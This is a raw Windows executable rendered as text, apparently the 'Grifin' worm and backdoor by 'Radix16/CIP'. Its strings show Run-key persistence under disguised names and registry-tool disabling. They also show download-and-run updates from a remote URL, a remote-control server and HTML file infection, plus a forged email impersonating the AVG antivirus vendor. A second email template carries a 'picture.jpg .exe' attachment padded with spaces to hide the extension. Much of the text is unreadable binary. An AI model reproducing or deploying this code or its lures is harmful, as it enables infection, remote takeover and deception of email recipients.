MZP               @                                      	!L!This program must be run under Win32
$7                                                                                                                                        PE  L D-
q          "   (             @    @               
                                                                                                                                                                CODE     0      "                    DATA     `   @      (              @  .idata            D              @  .reloc            L              @  P                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        @@ xV4                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "   J@ E  VD@ 3KERNEL32.DLL 3d0d L$d [VD@ x,   :-)  @   tj <T   j   @@   iD@ hA@ R  @     ~:t
@F@ PhF@ 2     F@ :"tB2h@B@   h   hE@ k  *@ E@ *@ V   FP3f=LB@ 	fOfOfOf f+r;FfGX   ^@Fj hE@ hF@         <)  h=@      RegisterServiceProcess PV  jj lZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ{  f=FB@ t>S  hPB@ h    fC@  5BD@   fC@   j   2   iD@   k@ F  @ Q  iD@ G2  돐F  k@ P   @ [   3h@@ PPPPP  u   3PPP5@@   3PPh @@ P5@@   øJD@ Ph?  j RS  ømE@ PiD@ PqE@ Pj RJD@ P  P5JD@   X`        Q`        Q3h@@ h@@ PjPPPRSL  YQWUj V@@ SQ  SE  a2   iD@   )@ E)@ PhiD@   hA@    *.*   @  H@@ 0A@ ?.td   G?.t m  hA@ 5@@ M  HtT  0A@ W@  E  hA@    *.htm*   @  HND@ 0A@ 3Ph   jPjh   W  @   H@@ 3PPPjP5@@      @@ 3SSSjP  tz@@ E@ j 5@@ v  O>"maiu~lto:tF)v<"uG @@ @@ E@ 5@@   5@@   5@@   2   hA@ 5ND@   H5ND@   hiD@   ÿ0A@     G`+ۉ@@ @@ " @ =@@ t@@ @@    x@@    7փ@@ =@@ u  3ɋ» @ +=  tA@B
(  3PPjPPh   hE@ ,  @   H@@ j j h   5@@ _  j h@@ h!  h @ 5@@   @@ >  3P5@@ PjP5@@ 	  t|@@ 35@@ SSh  P  tO@@    #  Vt%d  Q38 @@ u	1FY^1F5@@ F  5@@ 5  5@@ *  að   BQ  Y   P   X@@ PBX   P   X+@@ PBX   P   X@@ P-BXð@BðHBðBd  B38 38 B   f1fFBffø @ #  ø(
   @ #  Ë@@ @@ 3!  @@ @@ 3@@ g  @@ fLB@ @@   BúC)@ )*@ E@ C)@    SOFTWARE\Grifin ZR
   VirusPath ^E@ 
   UpdateURL ^'   http://www.volny.cz/radix16/grifin.grf _Zpm:   SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System Z   DisableRegistryTools ^      _2   0A@ h@+@ j   t
D@ @  D@  @ D@     D@     *D@     .D@ /@ @@ D@ jdP|  D@ h   j #  "D@ j h!@ j h[+@ 5@@   M   VWSuuuu  [_^    SVW}d     }  }  t_^[ h:)@ j h   h  u  j jj  >D@ j)hd  u5>D@   jhC@ 5>D@   j5>D@   h^D@ jgus     놋Ef= uX3X  j j 5>D@   ZD@ hZD@ hdD@ h^D@ $  h^D@ jgu  v   g+@ Y  Ef=    E3f؉@@ j h>  hZ@ S  tb   Z@ Z@ ȣ@@ UK@ @@ 9u	? tj 5@@ hZ@ 7  2   Z@ f=  uFE3fc       S  ZD@ hZD@ hdD@ h^D@ 4  h^D@ jgu+     ;5>D@ ^  q  j u     QK@ 9u`Z@ ?!124   ?!125   ?!126   ?!115   ?!110   ?!122   ?!113N  ?!119  ?!121A  ?!120\  ?!109  ?!118  ?!112   ?!123Q  ?!513  a3PPPh/@   a3PPPh/@   aù   W?,tG G_j WRj   aj j  aj j  aaù   W?,tG G   _   3Sh   jSSh   @R  @@ 3Sh   jSSh   W  @@ Ãjj j Wj j   a,  j j jPP  aÃWO  aù   W?,tG G_j RW@  aù   W?,tG G_RW
  aaù   3W?,tGC>  +I@@  G_@@ j hFD@ QV5@@ 
  5@@ 
  j h/@ s
  aj h/@ e
  aÜW2   G@ _hG@ jeuW  k@ @ oǃPj h   jeu7     WinINET.dll 	     InternetGetConnectedState V	  j        %  3PPjPjh   @   C:\d5s6g7xa.exe 	  @@    InternetOpenA V	  3SSSS   GrifinUPDATE Ѕ   RD@    InternetOpenUrlA VO	  3ۃSSSSW5RD@ ЕtR   InternetReadFile V	  j h@@ h>  hZ@ UЗj hFD@ h>  hZ@ 5@@      InternetCloseHandle V  5RD@ 5@@   aj QP7	  S33۬2ֶ͊ffsf5 fu33fOu[f3PPjPjh   @   C:\grifin.eml g  @@ j hFD@ hR  h,@ 5@@   E   j hFD@ h`;  hZ@ 5@@   j hFD@ jho/@ 5@@   5@@   ÿZ@ @@ p  +3Ph   jPjh   hiD@   @   H3P5@@ PjPR  tx@@ 35@@ SSjP  tN@@ 3ɹd   Q   Q+@ תYf
Y5@@ ,  5@@   R  [GRIFIN] by Radix16/CIP 00000001 SOFTWARE\Microsoft\Windows\CurrentVersion\Run BrowserWebCheck CTFMON.EXE NeroCheck WinampAgent TaskMonitor SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths Directory qwertyuiopasdfghjklzxcvbnm\00000000.exe grifin AVG 21/9/2001 AVG grisoft@grisoft.cz AVG Dobry den, byli jsme donuceni vypustit
uniniversalni antivir, ktery vam odstrani
nebezpecneho worma z vaseho PC.

S pozdravem vase AVG
grisoft@grisoft.cz

!!!New internet worm in-the-wild, download
new universal antivir!!! Grifin Control Panel - 1.0 server_dlg1 WeLcOmE to GRS....
(GRIFIN remote server) by [RaDiX16/CIP] - version 0.9 beta :)
client download : radix16.cjb.net
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/Subject: Picture
MIME-Version: 1.0
Content-Type: multipart/mixed;
              boundary="_boundary1_"
X-Priority: 1 (Highest)
Importance: High
X-Unsent: 1

--_boundary1_
Content-Type: text/plain;
              charset="iso-8859-2"
Content-Transfer-Encoding: 7bit



Not support > UPDATE
--_boundary1_
Content-Type: application; name="picture.jpg                                                                                                                                                                                    .exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
                     filename="picture.jpg                                                                                                                                                                                    .exe"




--_boundary1_classshit set CDAudio door open set CDAudio door closed rundll32.exe keyboard,disable rundll32.exe mouse,disable     %ܡ@ %@ %@ %@ %@ %@ %@ %@ %@ % @ %@ %@ %@ %@ %@ %@ %@ % @ %$@ %(@ %,@ %0@ %4@ %8@ %<@ %@@ %D@ %H@ %L@ %P@ %T@ %X@ %`@ %d@ %h@ %l@ %p@ %t@ %x@ %|@ %@ %@ %@ %@ %@ %@ %@ %@ %@ %@ %@ %@ %@ %@ %@ %Ģ@ %Ȣ@ %̢@ %Т@ %Ԣ@ %آ@ %ܢ@ %@ %@ %@ %@ %@ %@ %@ % @ %@ %@                                                                                           0*@ Y*@     4*@        0@@    H@@    `@@         >*@ B*@                U*@ E@                     E@         @ $@ E@ f@ @ @ @                        $  xV4                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        0     %-4i                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ܡ  $          %  `  L          2              =              I    ̡          T    ԡ          ^                        j            ȣ  ڣ              .  :  H  X  j  |          Τ  ܤ    
    2  D  Z  b      r          ʥ  ܥ                6  D  P  b  t          ʦ  ئ                     *  8  @  J  X  f      x                      j            ȣ  ڣ              .  :  H  X  j  |          Τ  ܤ    
    2  D  Z  b      r          ʥ  ܥ                6  D  P  b  t          ʦ  ئ                     *  8  @  J  X  f      x                      KERNEL32.dll ADVAPI32.dll USER32.dll WSOCK32.dll MAPI32.DLL WINMM.dll SHELL32.DLL   WAITFORSINGLEOBJECT   LOADLIBRARYA    WRITEFILE   WINEXEC   FINDCLOSE   GETSYSTEMDIRECTORYA   GETPROCADDRESS    LSTRCPYA    MOVEFILEA   DELETEFILEA   CLOSEHANDLE   UNMAPVIEWOFFILE   GETFILESIZE   COPYFILEA   CREATEFILEA   MAPVIEWOFFILE   GETCOMMANDLINEA   FINDFIRSTFILEA    FINDNEXTFILEA   SETCURRENTDIRECTORYA    EXITPROCESS   READFILE    CREATETHREAD    GETVERSION    CREATEFILEMAPPINGA    GETWINDOWSDIRECTORYA    GETMODULEHANDLEA    CREATEDIRECTORYA    SETFILEPOINTER    GETMODULEFILENAMEA    SLEEP   GETSYSTEMTIME   REGOPENKEYEXA   REGCREATEKEYEXA   CLOSESERVICEHANDLE    OPENSCMANAGERA    REGCLOSEKEY   REGSETVALUEEXA    REGQUERYVALUEEXA    OPENSERVICEA    CREATESERVICEA    LOADCURSORA   GETFOREGROUNDWINDOW   FINDWINDOWA   ENDDIALOG   DIALOGBOXPARAMA   DEFWINDOWPROCA    EXITWINDOWSEX   WVSPRINTFA    SETDLGITEMTEXTA   SENDMESSAGEA    SENDDLGITEMMESSAGEA   MESSAGEBOXA   LOADICONA   SOCKET    SEND    SELECT    RECV    LISTEN    HTONS   GETHOSTBYNAME   CLOSESOCKET   BIND    ACCEPT    WSASTARTUP    WSACLEANUP    WSAASYNCSELECT    MAPISENDMAIL    MAPILOGON   MAPILOGOFF    MCISENDSTRINGA    SHELLEXECUTEA                                                                   046`6)6666666677+7A7w7|77&707I8Z8k8s8~8888899999::::):^:c:}::::::
;;";2;P;U;z;;;;;;<<< <+<6<E<K<]<g<w<<<<<<<<<<<=+=:=F=P=V=a=n=99::x=======>4>U>w>????$?.?5?>?X??N?S?b?           R0p000000000Z0z0~00000B1f1v11111111111,282Q2V2]2b2h2222222223$32344234V5j5q5y555555o666	777)7/7Z7b777 888!8-8557888>8I8T8Z8z8888899?     0     00000 0&0,02080>0D0J0P0V0\0b0h0n0t0z000000000000000000000001
1111"1(1.141:1@1F1L1R1X1^1d1j1p1v1|11111111   @  0   0000$0,080<0P0T0l0x0|000000                                                                                                                                                                                                                                                                                                                                                                                            